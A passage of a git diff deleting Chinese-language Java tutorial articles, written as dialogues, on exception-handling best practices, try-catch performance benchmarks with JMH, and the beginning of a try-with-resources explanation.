-可是,他为什么要给我,看他刚才的样子都想打我了,又突然给了我这些?还有他一直在说的规则之力又是什么?这座城市为什么又这么诡异? - ->转载链接:[https://mp.weixin.qq.com/s/PDfd8HRtDZafXl47BCxyGg](https://mp.weixin.qq.com/s/PDfd8HRtDZafXl47BCxyGg),作者:艾小仙 - - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/exception/shijian.md b/docs/src/exception/shijian.md deleted file mode 100644 index 00ed72ac80..0000000000 --- a/docs/src/exception/shijian.md +++ /dev/null @@ -1,607 +0,0 @@ ---- -title: Java异常处理的20个最佳实践,别再踩坑了! -shortTitle: 异常处理的20个最佳实践 -category: - - Java核心 -tag: - - 异常处理 -description: 本文详细列举了 Java 异常处理中的 20 个最佳实践,包括异常种类的选择、异常捕获与处理的原则,以及编程过程中常见的错误和避免方法。这些实践能够帮助您在编写 Java 程序时提高编程效率,同时提升代码的质量和可维护性。阅读本文,让您在 Java 异常处理中避免常见陷阱,更加游刃有余。 -head: - - - meta - - name: keywords - content: Java,异常处理,最佳实践 ---- - -“三妹啊,今天我来给你传授 20 个异常处理的最佳实践经验,以免你以后在开发中采坑。”我面带着微笑对三妹说。 - -“好啊,二哥,我洗耳恭听。”三妹也微微一笑,欣然接受。 - -“好,那哥就不废话了。开整。” - -### 01、尽量不要捕获 RuntimeException - -[阿里出品的 Java 开发手册](https://javabetter.cn/pdf/ali-java-shouce.html)上这样规定: - ->尽量不要 catch RuntimeException,比如 NullPointerException、IndexOutOfBoundsException 等等,应该用预检查的方式来规避。 - -正例: - -```java -if (obj != null) { - //... -} -``` - -反例: - -```java -try { - obj.method(); -} catch (NullPointerException e) { - //... -} -``` - -“哦,那如果有些异常预检查不出来呢?”三妹问。 - -“的确会存在这样的情况,比如说 NumberFormatException,虽然也属于 RuntimeException,但没办法预检查,所以还是应该用 catch 捕获处理。”我说。 - -### 02、尽量使用 try-with-resource 来关闭资源 - -当需要关闭资源时,尽量不要使用 try-catch-finally,禁止在 try 块中直接关闭资源。 - -反例: - -```java -public void doNotCloseResourceInTry() { - FileInputStream inputStream = null; - try { - File file = new File("./tmp.txt"); - inputStream = new FileInputStream(file); - inputStream.close(); - } catch (FileNotFoundException e) { - log.error(e); - } catch (IOException e) { - log.error(e); - } -} -``` - -“为什么呢?”三妹问。 - -“原因也很简单,因为一旦 `close()` 之前发生了异常,那么资源就无法关闭。直接使用 [try-with-resource](https://javabetter.cn/exception/try-with-resources.html) 来处理是最佳方式。”我说。 - -```java -public void automaticallyCloseResource() { - File file = new File("./tmp.txt"); - try (FileInputStream inputStream = new FileInputStream(file);) { - } catch (FileNotFoundException e) { - log.error(e); - } catch (IOException e) { - log.error(e); - } -} -``` - -“除非资源没有实现 AutoCloseable 接口。”我补充道。 - -“那这种情况下怎么办呢?”三妹问。 - -“就在 finally 块关闭流。”我说。 - -```java -public void closeResourceInFinally() { - FileInputStream inputStream = null; - try { - File file = new File("./tmp.txt"); - inputStream = new FileInputStream(file); - } catch (FileNotFoundException e) { - log.error(e); - } finally { - if (inputStream != null) { - try { - inputStream.close(); - } catch (IOException e) { - log.error(e); - } - } - } -} -``` - -### 03、不要捕获 Throwable - -Throwable 是 exception 和 error 的父类,如果在 catch 子句中捕获了 Throwable,很可能把超出程序处理能力之外的错误也捕获了。 - -```java -public void doNotCatchThrowable() { - try { - } catch (Throwable t) { - // 不要这样做 - } -} -``` - -“到底为什么啊?”三妹问。 - -“因为有些 error 是不需要程序来处理,程序可能也处理不了,比如说 OutOfMemoryError 或者 StackOverflowError,前者是因为 Java 虚拟机无法申请到足够的内存空间时出现的非正常的错误,后者是因为线程申请的栈深度超过了允许的最大深度出现的非正常错误,如果捕获了,就掩盖了程序应该被发现的严重错误。”我说。 - -“打个比方,一匹马只能拉一车厢的货物,拉两车厢可能就挂了,但一 catch,就发现不了问题了。”我补充道。 - -### 04、不要省略异常信息的记录 - -很多时候,由于疏忽大意,我们很容易捕获了异常却没有记录异常信息,导致程序上线后真的出现了问题却没有记录可查。 - -```java -public void doNotIgnoreExceptions() { - try { - } catch (NumberFormatException e) { - // 没有记录异常 - } -} -``` - -应该把错误信息记录下来。 - -```java -public void logAnException() { - try { - } catch (NumberFormatException e) { - log.error("哦,错误竟然发生了: " + e); - } -} -``` - -### 05、不要记录了异常又抛出了异常 - -这纯属画蛇添足,并且容易造成错误信息的混乱。 - -反例: - -```java -try { -} catch (NumberFormatException e) { - log.error(e); - throw e; -} -``` - -要抛出就抛出,不要记录,记录了又抛出,等于多此一举。 - -反例: - -```java -public void wrapException(String input) throws MyBusinessException { - try { - } catch (NumberFormatException e) { - throw new MyBusinessException("错误信息描述:", e); - } -} -``` - -这种也是一样的道理,既然已经捕获了,就不要在方法签名上抛出了。 - -### 06、不要在 finally 块中使用 return - -[阿里出品的 Java 开发手册](https://javabetter.cn/pdf/ali-java-shouce.html)上这样规定: - ->try 块中的 return 语句执行成功后,并不会马上返回,而是继续执行 finally 块中的语句,如果 finally 块中也存在 return 语句,那么 try 块中的 return 就将被覆盖。 - -反例: - -```java -private int x = 0; -public int checkReturn() { - try { - return ++x; - } finally { - return ++x; - } -} -``` - -“哦,确实啊,try 块中 x 返回的值为 1,到了 finally 块中就返回 2 了。”三妹说。 - -“是这样的。”我点点头。 - -### 07、抛出具体定义的检查性异常而不是 Exception - -```java -public void foo() throws Exception { //错误方式 -} -``` - -一定要避免出现上面的代码,它破坏了检查性(checked)异常的目的。声明的方法应该尽可能抛出具体的检查性异常。 - -例如,如果一个方法可能会抛出 SQLException 异常,应该显式地声明抛出 SQLException 而不是 Exception 类型的异常。这样可以让其他开发者更好地理解代码的意图和异常处理的方式,并且可以根据 SQLException 的定义和文档来确定异常的处理方式和策略。 - -### 08、捕获具体的子类而不是捕获 Exception 类 - -```java -try { - someMethod(); -} catch (Exception e) { //错误方式 - LOGGER.error("method has failed", e); -} -``` - -如果在 catch 块中捕获 Exception 类型的异常,会将所有异常都捕获,从而可能会给程序带来不必要的麻烦。具体来说,如果捕获 Exception 类型的异常,可能会导致以下问题: - -- 难以识别和定位异常:如果捕获 Exception 类型的异常,可能会捕获到一些不应该被处理的异常,从而导致程序难以识别和定位异常。 -- 难以调试和排错:如果捕获 Exception 类型的异常,可能会使得调试和排错变得更加困难,因为无法确定具体的异常类型和异常发生的原因。 - -下面举一个例子来说明为什么应该尽可能地捕获具体的子类而不是 Exception 类型的异常。 - -假设我们有一个方法 `readFromFile(String filePath)`,用于从指定文件中读取数据。在方法实现过程中,可能会出现两种异常:FileNotFoundException 和 IOException。 - -如果在方法中使用以下 catch 块来捕获异常: - -```java -try { - // 读取数据的代码 -} catch (Exception e) { - // 异常处理的代码 -} -``` - -这样做会捕获所有类型的异常,包括 Checked Exception 和 Unchecked Exception。这可能会导致以下问题: - -- 发生 RuntimeException 类型的异常时,也会被捕获,从而可能会掩盖实际的异常信息。 -- 在调试和排错时,无法确定异常的具体类型和发生原因,从而增加了调试和排错的难度。 -- 在程序运行时,可能会捕获一些不需要处理的异常(如 NullPointerException、IllegalArgumentException 等),从而降低程序的性能和稳定性。 - -因此,为了更好地定位和处理异常,应该尽可能地捕获具体的子类,例如: - -```java -try { - // 读取数据的代码 -} catch (FileNotFoundException e) { - // 处理文件未找到异常的代码 -} catch (IOException e) { - // 处理输入输出异常的代码 -} -``` -这样做可以更准确地捕获异常,从而提高程序的健壮性和稳定性。 - -### 09、自定义异常时不要丢失堆栈跟踪 - -```java -catch (NoSuchMethodException e) { - throw new MyServiceException("Some information: " + e.getMessage()); //错误方式 -} -``` - -这破坏了原始异常的堆栈跟踪,正确的做法是: - -```java -catch (NoSuchMethodException e) { - throw new MyServiceException("Some information: " , e); //正确方式 -} -``` - -例如,下面是一个自定义异常类,它重写了 printStackTrace() 方法来打印堆栈跟踪信息: - -```java -public class MyException extends Exception { - public MyException(String message, Throwable cause) { - super(message, cause); - } - - @Override - public void printStackTrace() { - System.err.println("MyException:"); - super.printStackTrace(); - } -} -``` - -这样做可以保留堆栈跟踪信息,同时也可以提供自定义的异常信息。在抛出 MyException 异常时,可以得到完整的堆栈跟踪信息,从而更好地定位和解决异常。 - -### 10、finally 块中不要抛出任何异常 - -```java -try { - someMethod(); //Throws exceptionOne -} finally { - cleanUp(); //如果finally还抛出异常,那么exceptionOne将永远丢失 -} -``` - -finally 块用于定义一段代码,无论 try 块中是否出现异常,都会被执行。finally 块通常用于释放资源、关闭文件等必须执行的操作。 - -如果在 finally 块中抛出异常,可能会导致原始异常被掩盖。比如说上例中,一旦 cleanup 抛出异常,someMethod 中的异常将会被覆盖。 - -### 11、不要在生产环境中使用 `printStackTrace()` - -在 Java 中,`printStackTrace()` 方法用于将异常的堆栈跟踪信息输出到标准错误流中。这个方法对于调试和排错非常有用。但在生产环境中,不应该使用 `printStackTrace()` 方法,因为它可能会导致以下问题: - -- `printStackTrace()` 方法将异常的堆栈跟踪信息输出到标准错误流中,这可能会暴露敏感信息,如文件路径、用户名、密码等。 -- `printStackTrace()` 方法会将堆栈跟踪信息输出到标准错误流中,这可能会影响程序的性能和稳定性。在高并发的生产环境中,大量的异常堆栈跟踪信息可能会导致系统崩溃或出现意外的行为。 -- 由于生产环境中往往是多线程、分布式的复杂系统,`printStackTrace()` 方法输出的堆栈跟踪信息可能并不完整或准确。 - -在生产环境中,应该使用日志系统来记录异常信息,例如 [log4j](https://javabetter.cn/gongju/log4j.html)、[slf4j](https://javabetter.cn/gongju/slf4j.html)、[logback](https://javabetter.cn/gongju/logback.html) 等。日志系统可以将异常信息记录到文件或数据库中,而不会暴露敏感信息,也不会影响程序的性能和稳定性。同时,日志系统也提供了更多的功能,如级别控制、滚动日志、邮件通知等。 - -```java -例如,可以使用 logback 记录异常信息,如下所示: -try { - // some code -} catch (Exception e) { - logger.error("An error occurred: ", e); -} -``` - -### 12、对于不打算处理的异常,直接使用 try-finally,不用 catch - -```java -try { - method1(); // 会调用 Method 2 -} finally { - cleanUp(); //do cleanup here -} -``` - -如果 method1 正在访问 Method 2,而 Method 2 抛出一些你不想在 Method 1 中处理的异常,但是仍然希望在发生异常时进行一些清理,可以直接在 finally 块中进行清理,不要使用 catch 块。 - -### 13、记住早 throw 晚 catch 原则 - -“早 throw, 晚 catch” 是 Java 中的一种异常处理原则。这个原则指的是在代码中尽可能早地抛出异常,以便在异常发生时能够及时地处理异常。同时,在 catch 块中尽可能晚地捕获异常,以便在捕获异常时能够获得更多的上下文信息,从而更好地处理异常。 - -来举个 “早 throw” 例子,如果一个方法需要传递参数,并且该参数必须满足一定的条件,如果参数不符合条件,则应该立即抛出异常,而不是在方法中进行其他操作。这可以确保异常在发生时能够及时被处理,避免更严重的问题。 - -再来举个“晚 catch”的例子,如果一个方法调用了其他方法,可能会抛出异常,如果在方法内部立即捕获异常,则可能会导致对异常的处理不充分。 - -来看这段代码: - -```java -public class ExceptionDemo1 { - public static void main(String[] args) { - Scanner sc = new Scanner(System.in); - String str = sc.nextLine(); - try { - int num = parseInt(str); - System.out.println("转换结果:" + num); - } catch (NumberFormatException e) { - System.out.println("转换失败:" + e.getMessage()); - } - } - - public static int parseInt(String str) { - if (str == null || "".equals(str)) { - throw new NullPointerException("字符串为空"); - } - if (!str.matches("\\d+")) { - throw new NumberFormatException("字符串不是数字"); - } - return Integer.parseInt(str); - } -} -``` - -这个示例中,定义了一个 `parseInt()` 方法,用于将字符串转换为整数。在该方法中,首先检测字符串是否为空,如果为空,则立即抛出 NullPointerException 异常。然后,检测字符串是否为数字,如果不是数字,则抛出 NumberFormatException 异常。最后,使用 `Integer.parseInt()` 方法将字符串转换为整数,并返回。 - -在示例的 `main()` 方法中,调用 `parseInt()` 方法,并使用 try-catch 块捕获可能抛出的 NumberFormatException 异常。如果转换成功,则输出转换结果,否则输出转换失败信息。 - -这个示例使用了 “早 throw, 晚 catch” 的原则,在 `parseInt()` 方法中尽可能早地抛出异常,在 `main()` 方法中尽可能晚地捕获异常,以便在捕获异常时能够获得更多的上下文信息,从而更好地处理异常。 - -运行该示例,输入一个数字字符串,可以看到输出转换结果。如果输入一个非数字字符串,则输出转换失败信息。 - -### 14、只抛出和方法相关的异常 - -相关性对于保持代码的整洁非常重要。一种尝试读取文件的方法,如果抛出 NullPointerException,那么它不会给用户提供有价值的信息。相反,如果这种异常被包裹在自定义异常中,则会更好。NoSuchFileFoundException 则对该方法的用户更有用。 - -```java -public class Demo { - public static void main(String[] args) { - try { - int result = divide(10, 0); - System.out.println("The result is: " + result); - } catch (ArithmeticException e) { - System.err.println("Error: " + e.getMessage()); - } - } - - public static int divide(int a, int b) throws ArithmeticException { - if (b == 0) { - throw new ArithmeticException("Division by zero"); - } - return a / b; - } -} -``` - -在该示例中,只抛出了和方法相关的异常 ArithmeticException,这可以使代码更加清晰和易于维护。 - -### 15、切勿在代码中使用异常来进行流程控制 - -在代码中使用异常来进行流程控制会导致代码的可读性、可维护性和性能出现问题。 - -```java -public class Demo { - public static void main(String[] args) { - String input = "1,2,3,a,5"; - String[] values = input.split(","); - for (String value : values) { - try { - int num = Integer.parseInt(value); - System.out.println(num); - } catch (NumberFormatException e) { - System.err.println(value + " is not a valid number"); - } - } - } -} -``` - -虽然这个示例可以正确地处理输入字符串中的非数字字符,但是它使用异常进行流程控制,这就导致代码变得混乱、难以理解。应该使用其他合适的[控制结构](https://javabetter.cn/basic-grammar/flow-control.html)(如 if、switch、循环等)来管理程序的流程。 - -### 16、尽早验证用户输入以在请求处理的早期捕获异常 - -例如:在用户注册的业务中,如果按照这样来做: - -1. 验证用户 -2. 插入用户 -3. 验证地址 -4. 插入地址 -5. 如果出问题回滚一切 - -这是不正确的做法,它会使数据库在各种情况下处于不一致的状态,应该首先验证所有内容,然后再进行数据库更新。正确的做法是: - -1. 验证用户 -2. 验证地址 -3. 插入用户 -4. 插入地址 -5. 如果问题回滚一切 - -举个例子,我们用 JDBC 的方式往数据库插入数据,那么最好是先 validate 再 insert,而不是 validateUserInput、insertUserData、validateAddressInput、insertAddressData。 - -```java -Connection conn = null; -try { - // Connect to the database - conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/mydatabase", "username", "password"); - - // Start a transaction - conn.setAutoCommit(false); - - // Validate user input - validateUserInput(); - - // Insert user data - insertUserData(conn); - - // Validate address input - validateAddressInput(); - - // Insert address data - insertAddressData(conn); - - // Commit the transaction if everything is successful - conn.commit(); - -} catch (SQLException e) { - // Rollback the transaction if there is an error - if (conn != null) { - try { - conn.rollback(); - } catch (SQLException ex) { - System.err.println("Error: " + ex.getMessage()); - } - } - System.err.println("Error: " + e.getMessage()); -} finally { - // Close the database connection - if (conn != null) { - try { - conn.close(); - } catch (SQLException e) { - System.err.println("Error: " + e.getMessage()); - } - } -} -``` - -### 17、一个异常只能包含在一个日志中 - -不要这样做: - -```java -log.debug("Using cache sector A"); -log.debug("Using retry sector B"); -``` - -在单线程环境中,这样看起来没什么问题,但如果在多线程环境中,这两行紧挨着的代码中间可能会输出很多其他的内容,导致问题查起来会很难受。应该这样做: - -```java -LOGGER.debug("Using cache sector A, using retry sector B"); -``` - -### 18、将所有相关信息尽可能地传递给异常 - -有用的异常消息和堆栈跟踪非常重要,如果你的日志不能定位异常位置,那要日志有什么用呢? - -```java -// Log exception message and stack trace -LOGGER.debug("Error reading file", e); -``` - -应该尽量把 `String message, Throwable cause` 异常信息和堆栈都输出。 - -### 19、终止掉被中断线程 - -```java -while (true) { - try { - Thread.sleep(100000); - } catch (InterruptedException e) {} //别这样做 - doSomethingCool(); -} -``` - -InterruptedException 提示应该停止程序正在做的事情,比如事务超时或线程池被关闭等。 - -应该尽最大努力完成正在做的事情,并完成当前执行的线程,而不是忽略 InterruptedException。修改后的程序如下: - -```java -while (true) { - try { - Thread.sleep(100000); - } catch (InterruptedException e) { - break; - } -} -doSomethingCool(); -``` - -### 20、对于重复的 try-catch,使用模板方法 - -类似的 catch 块是无用的,只会增加代码的重复性,针对这样的问题可以使用模板方法。 - -例如,在尝试关闭数据库连接时的异常处理。 - -```java -class DBUtil{ - public static void closeConnection(Connection conn){ - try{ - conn.close(); - } catch(Exception ex){ - //Log Exception - Cannot close connection - } - } -} -``` - -这类的方法将在应用程序很多地方使用。不要把这块代码放的到处都是,而是定义上面的方法,然后像下面这样使用它: - -```java -public void dataAccessCode() { - Connection conn = null; - try{ - conn = getConnection(); - .... - } finally{ - DBUtil.closeConnection(conn); - } -} -``` - -“好了,三妹,关于异常处理实践就先讲这 20 条吧,实际开发中你还会碰到其他的一些坑,自己踩一踩可能印象更深刻一些。”我说。 - -“那万一到时候我工作后被领导骂了怎么办?”三妹委屈地说。 - -“新人嘛,总要写几个 bug 才能对得起新人这个称号嘛。”我轻描淡写地说。 - -“好吧。”三妹无奈地叹了口气。 - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) - - - - - diff --git a/docs/src/exception/try-catch-xingneng.md b/docs/src/exception/try-catch-xingneng.md deleted file mode 100644 index 87aabc93f7..0000000000 --- a/docs/src/exception/try-catch-xingneng.md +++ /dev/null @@ -1,216 +0,0 @@ ---- -title: Java try-catch 捕获异常真的会影响性能吗? -shortTitle: try-catch会影响性能吗? -category: - - Java核心 -tag: - - 异常处理 -description: 本文详细探讨了try-catch捕获异常在Java编程中是否会影响性能。通过对比实验和性能测试,分析了异常处理与性能的关系,解答了关于try-catch对性能影响的常见疑问。阅读本文,将帮助您在编写代码时更加明智地使用异常处理机制,同时确保程序性能的稳定和优越。 -head: - - - meta - - name: keywords - content: Java,异常处理,java try-catch,捕获异常, 性能影响 ---- - -“二哥,你看着这鬼代码,竟然在 for 循环里面搞了个 `try-catch`,不知道`try-catch`有性能损耗吗?” 老王煞有其事地指着屏幕里的代码: - -```java - for (int i = 0; i < 5000; i++) { -     try { -         dosth -     } catch (Exception e) { -         e.printStackTrace(); -     } - } -``` - -我探过头去看了眼代码,“那 老王你觉得该怎么改?” - -“当然是把 `try-catch` 提到外面啊!” 老王脑子都不转一下,脱口而出。 - -“你是不是傻?且不说性能,这代码的目的明显是让循环内部单次调用出错不影响循环的运行,你移到外面,业务逻辑不就变了吗!” - -老王挠了挠他的地中海,“好像也是啊!” - -“回过头来,catch 整个 for 循环和在循环内部 catch,在不出错的情况下,其实性能差不多。” 我喝一口咖啡不经意地提到,准备在 老王前面秀一下。 - -“啥意思?” 老王有点懵地看着我,“`try-catch`是有性能损耗的,我可是看过网上资料的!” - -果然, 老王上钩了,我二话不说直接打开 idea,一顿操作敲了以下代码: - -```java -public class TryCatchTest { - // 用 @Benchmark 注解标记一个方法作为基准测试方法 - @Benchmark - public void tryfor(Blackhole blackhole) { - // 使用 try-catch 语句包装一个 for 循环 - try { - for (int i = 0; i < 1000; i++) { - // 在循环中调用 Blackhole.consume() 方法 - blackhole.consume(i); - } - } catch (Exception e) { - // 捕获异常并打印堆栈跟踪信息 - e.printStackTrace(); - } - } - - // 用 @Benchmark 注解标记另一个方法作为基准测试方法 - @Benchmark - public void fortry(Blackhole blackhole) { - // 使用 for 循环包装一个 try-catch 语句 - for (int i = 0; i < 1000; i++) { - try { - // 在 try 块中调用 Blackhole.consume() 方法 - blackhole.consume(i); - } catch (Exception e) { - // 捕获异常并打印堆栈跟踪信息 - e.printStackTrace(); - } - } - } -} -``` - -在这里,请允许我补充一些概念,以便大家能更好的理解这段代码。 - ->第一个:`@Benchmark` 是一个来自于 JMH(Java Microbenchmark Harness)库的注解,用来标记一个方法作为基准测试方法。JMH 是一个专门用于编写 [Java 微基准测试](https://hezhiqiang8909.gitbook.io/java/docs/javalib/jmh)的工具包,包含了一些用于测试 Java 代码性能和微调 JVM 的工具和库。使用 `@Benchmark` 注解标记的方法将被 JMH 自动识别为基准测试方法,并在运行时进行基准测试。在基准测试期间,JMH 会运行被标记的方法多次,并测量方法的执行时间、吞吐量、延迟等指标,并生成统计结果。 - ->第二个:在 JMH 进行基准测试时,为了避免 JIT 编译器优化掉测试代码中的某些操作,我们需要在测试代码中使用一些占位符,以便让编译器认为这些操作是有意义的,不应该被优化掉。`Blackhole.consume()` 方法就是这样的一个占位符。它用来占用一些 CPU 时间和内存空间,以确保测试结果的准确性和可靠性。 - -“BB 不如 show code,看到没, 老王,我把 `try-catch` 从 for 循环里面提出来跟在for循环里面做个对比跑一下,你猜猜两个差多少?” - -“切,肯定 tryfor 性能好,想都不用想,不是的话我倒立洗头!” 老王信誓旦旦道。 - -我懒得跟他BB,直接开始了 benchmark,跑的结果如下: - -![](https://cdn.paicoding.com/studymore/try-catch-xingneng-20230326204136.png) - -可以看到,两者的性能(数字越大越好)其实差不多:551063.024 VS 551525.861。 - -在这里,简单普及一下 JMH 的使用指南。 - ->第一步,在 pom.xml 文件中加入依赖。 - -``` - - - org.openjdk.jmh - jmh-core - 1.35 - - - - org.openjdk.jmh - jmh-generator-annprocess - 1.35 - -``` - ->第二步,Intellij IDEA 中安装 JMH 插件。 - -![](https://cdn.paicoding.com/studymore/try-catch-xingneng-20230326200811.png) - ->第三步,在代码编辑器中点击这个带有时间和运行的图标。然后静静等待结果就可以了,我本机(32G 内存 Intel i7 跑了 16 分钟,贼慢,因为 JMH 比较喜欢追求公平公正😂) - -![](https://cdn.paicoding.com/studymore/try-catch-xingneng-20230326200922.png) - -老王一看傻了:“说好的性能影响呢?怎么没了?” - -我直接一个javap,让 老王看看,其实两个实现在字节码层面没啥区别: - -> tryfor 的字节码 - -异常表记录的是 0 - 20 行,如果这些行里面的代码出现问题,直接跳到 23 行处理。 - -![](https://cdn.paicoding.com/studymore/try-catch-xingneng-20230326202911.png) - -> fortry 的字节码 - -差别也就是异常表的范围小点,包的是 9-14 行,其它跟 tryfor 都差不多。 - -![](https://cdn.paicoding.com/studymore/try-catch-xingneng-20230326203005.png) - -所以从字节码层面来看,没抛错两者的执行效率其实没啥差别。 - -“那为什么网上流传着`try-catch`会有性能问题的说法啊?” 老王觉得非常奇怪。 - -这个说法确实有,在《Effective Java》这本书里就提到了 `try-catch` 性能问题: - -![](https://cdn.paicoding.com/studymore/try-catch-xingneng-20230326203449.png) - -正所谓听话不能听一半,以前读书时候最怕的就是一知半解,因为完全理解选择题能选对,完全不懂蒙可能蒙对,一知半解必定选到错误的选项! - -《Effective Java》书中说的其实是不要用 `try-catch` 来代替正常的代码,书中的举例了正常的 for 循环肯定这样实现: - -```java - for ( Mountain m : range ) - m.climb(); -``` - -但有个卧龙偏偏不这样实现,要通过  `try-catch` 拐着弯来实现循环: - -```java - /* Horrible abuse of exceptions. Don't ever do this! */ -try { - int i = 0; - while ( true ) - range[i++].climb(); -} catch ( ArrayIndexOutOfBoundsException e ) { -} -``` - -这操作我只能说有点逆天,这两个实现的对比就有性能损耗了。 - -我们直接再跑下有`try-catch` 的代码和没 `try-catch`的 for 循环区别,代码如下: - -```java -public class TryCatchTest1 { - @Benchmark - public void fornotry(Blackhole blackhole) { - for (int i = 0; i < 1000; i++) { - blackhole.consume(i); - } - } - - @Benchmark - public void tryfor(Blackhole blackhole) { - for (int i = 0; i < 1000; i++) { - try { - blackhole.consume(i); - } catch (Exception e) { - e.printStackTrace(); - } - } - } -} -``` - -结果如下: - -![](https://cdn.paicoding.com/studymore/try-catch-xingneng-20230326210303.png) - -+-差不多,直接看前面的分数对比,没有 `try-catch` 的性能确实好些,这也和书中说的 `try-catch` 会影响 JVM 一些特定的优化说法吻合,但是具体没有说影响哪些优化,我猜测可能是指令重排之类的。 - -好了,我再总结下有关 `try-catch` 性能问题说法: - -1. `try-catch` 相比较没 `try-catch`,确实有一定的性能影响,但是旨在不推荐我们用 `try-catch` 来代替正常能不用 `try-catch` 的实现,而不是不让用 `try-catch`。 -2. for循环内用  `try-catch` 和用 `try-catch` 包裹整个 for 循环性能差不多,但是其实两者本质上是业务处理方式的不同,跟性能扯不上关系,关键看你的业务流程处理。 -3. 虽然知道`try-catch`会有性能影响,但是业务上不需要避讳其使用,业务实现优先(只要不是书中举例的那种逆天代码就行),非特殊情况下性能都是其次,有意识地避免大范围的`try-catch`,只 catch 需要的部分即可(没把握全 catch 也行,代码安全执行第一)。 - -“好了, 老王你懂了没?” - -“行啊二哥,BB是一套一套的,走请你喝燕麦拿铁!” 老王一把拉起我,我直接一个挣脱,“少来,我刚喝过咖啡,你那个倒立洗头,赶紧的!”我立马意识到 老王想岔开话题。 - -“洗洗洗,我们先喝个咖啡,晚上回去给你洗!” - ->转载链接:[https://mp.weixin.qq.com/s/H870jLz32oEI_HCMVt1m5Q](https://mp.weixin.qq.com/s/H870jLz32oEI_HCMVt1m5Q),作者:yes,修订和优化:沉默王二 - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/exception/try-with-resources.md b/docs/src/exception/try-with-resources.md deleted file mode 100644 index e44450ee55..0000000000 --- a/docs/src/exception/try-with-resources.md +++ /dev/null @@ -1,312 +0,0 @@ ---- -title: 深入理解 Java 中的 try with resources -shortTitle: try-with-resources -category: - - Java核心 -tag: - - 异常处理 -description: 本文详细介绍了 Java 中 try-with-resources 语句的作用和用法,阐述了其如何优雅地处理资源的关闭与异常处理。同时,文章还提供了 try-with-resources 的实际应用示例和与传统 try-catch-finally 的对比分析。阅读本文,将帮助您更深入地了解 Java 中的 try-with-resources 语句,有效提升资源管理的编程技巧。 -head: - - - meta - - name: keywords - content: Java,Java SE,Java基础,Java教程,二哥的Java进阶之路,Java进阶之路,Java入门,教程,java,try-with-resources,java try-with-resources,java try with resources ---- - -“二哥,终于等到你讲 try-with-resources 了!”三妹夸张的表情让我有些吃惊。 - -“三妹,不要激动呀!开讲之前,我们还是要来回顾一下 try–catch-finally,好做个铺垫。”我说,“来看看这段代码吧。” - -```java -public class TrycatchfinallyDecoder { - public static void main(String[] args) { - BufferedReader br = null; - try { - String path = TrycatchfinallyDecoder.class.getResource("/牛逼.txt").getFile(); - String decodePath = URLDecoder.decode(path,"utf-8"); - br = new BufferedReader(new FileReader(decodePath)); - - String str = null; - while ((str =br.readLine()) != null) { - System.out.println(str); - } - } catch (IOException e) { - e.printStackTrace(); - } finally { - if (br != null) { - try { - br.close(); - } catch (IOException e) { - e.printStackTrace(); - } - } - } - } -} -``` - -“我简单来解释下。”等三妹看完这段代码后,我继续说,“在 try 块中读取文件中的内容,并一行一行地打印到控制台。如果文件找不到或者出现 IO 读写错误,就在 catch 中捕获并打印错误的堆栈信息。最后,在 finally 中关闭缓冲字符读取器对象 BufferedReader,有效杜绝了资源未被关闭的情况下造成的严重性能后果。” - -“在 Java 7 之前,try–catch-finally 的确是确保资源会被及时关闭的最佳方法,无论程序是否会抛出异常。” - -三妹点了点头,表示同意。 - -“不过,这段代码还是有些臃肿,尤其是 finally 中的代码。”我说,“况且,try–catch-finally 至始至终存在一个严重的隐患:try 中的 `br.readLine()` 有可能会抛出 `IOException`,finally 中的 `br.close()` 也有可能会抛出 `IOException`。假如两处都不幸地抛出了 IOException,那程序的调试任务就变得复杂了起来,到底是哪一处出了错误,就需要花一番功夫,这是我们不愿意看到的结果。” - -“我来给你演示下,三妹。” - -“首先,我们来定义这样一个类 MyfinallyReadLineThrow,它有两个方法,分别是 `readLine()` 和 `close()`,方法体都是主动抛出异常。” - -```java -class MyfinallyReadLineThrow { - public void close() throws Exception { - throw new Exception("close"); - } - - public void readLine() throws Exception { - throw new Exception("readLine"); - } -} -``` - -“然后在 `main()` 方法中使用 try-catch-finally 的方式调用 MyfinallyReadLineThrow 的 `readLine()` 和 `close()` 方法。” - -```java -public class TryfinallyCustomReadLineThrow { - public static void main(String[] args) throws Exception { - MyfinallyReadLineThrow myThrow = null; - try { - myThrow = new MyfinallyReadLineThrow(); - myThrow.readLine(); - } finally { - myThrow.close(); - } - } -} -``` - -运行上述代码后,错误堆栈如下所示: - -``` -Exception in thread "main" java.lang.Exception: close - at com.cmower.dzone.trycatchfinally.MyfinallyOutThrow.close(TryfinallyCustomOutThrow.java:17) - at com.cmower.dzone.trycatchfinally.TryfinallyCustomOutThrow.main(TryfinallyCustomOutThrow.java:10) -``` - 